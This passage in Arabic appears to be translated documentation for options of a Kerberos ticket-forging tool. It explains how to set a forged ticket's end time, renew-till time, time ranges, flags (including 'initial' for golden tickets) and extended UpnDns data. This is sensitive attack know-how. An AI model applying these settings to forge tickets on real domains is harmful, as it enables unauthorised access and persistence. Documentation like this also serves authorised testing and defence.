/endtimeيضبط حقل endtime في EncTicketPart. هذا مرتبط بـ starttime، بصيغة مضاعف زائد نطاق زمني، على سبيل المثال لمدة 5 أيام، 5d. مزيد من المعلومات حول هذه الصيغة موضحة أدناه (الافتراضي: 10h)
/renewtillيضبط حقل renew-till في EncTicketPart. هذا مرتبط بـ starttime، بصيغة مضاعف زائد نطاق زمني، على سبيل المثال لمدة 5 أيام، 5d. مزيد من المعلومات حول هذه الصيغة موضحة أدناه (الافتراضي: 7d)
/rangeendهذا لإنشاء تذاكر متعددة تبدأ في أوقات مختلفة. سيكون هذا آخر starttime، مرتبطًا بـ /starttime، بصيغة مضاعف زائد نطاق زمني، على سبيل المثال لمدة 5 أيام، 5d. مزيد من المعلومات حول هذه الصيغة موضحة أدناه
/rangeintervalهذا لإنشاء تذاكر متعددة تبدأ في أوقات مختلفة. هذا هو الفاصل الزمني الذي سيتم استخدامه بين كل starttime، بصيغة مضاعف زائد نطاق زمني، على سبيل المثال لمدة 5 أيام، 5d. مزيد من المعلومات حول هذه الصيغة موضحة أدناه
/flagsيضبط أعلام التذكرة داخل EncTicketPart (الافتراضي: forwardable,renewable,pre_authent وبالنسبة لـ golden أيضًا initial)
/extendedupndnsيشمل UpnDns الموسع الجديد (الذي يتضمن samaccountname و SID الحساب)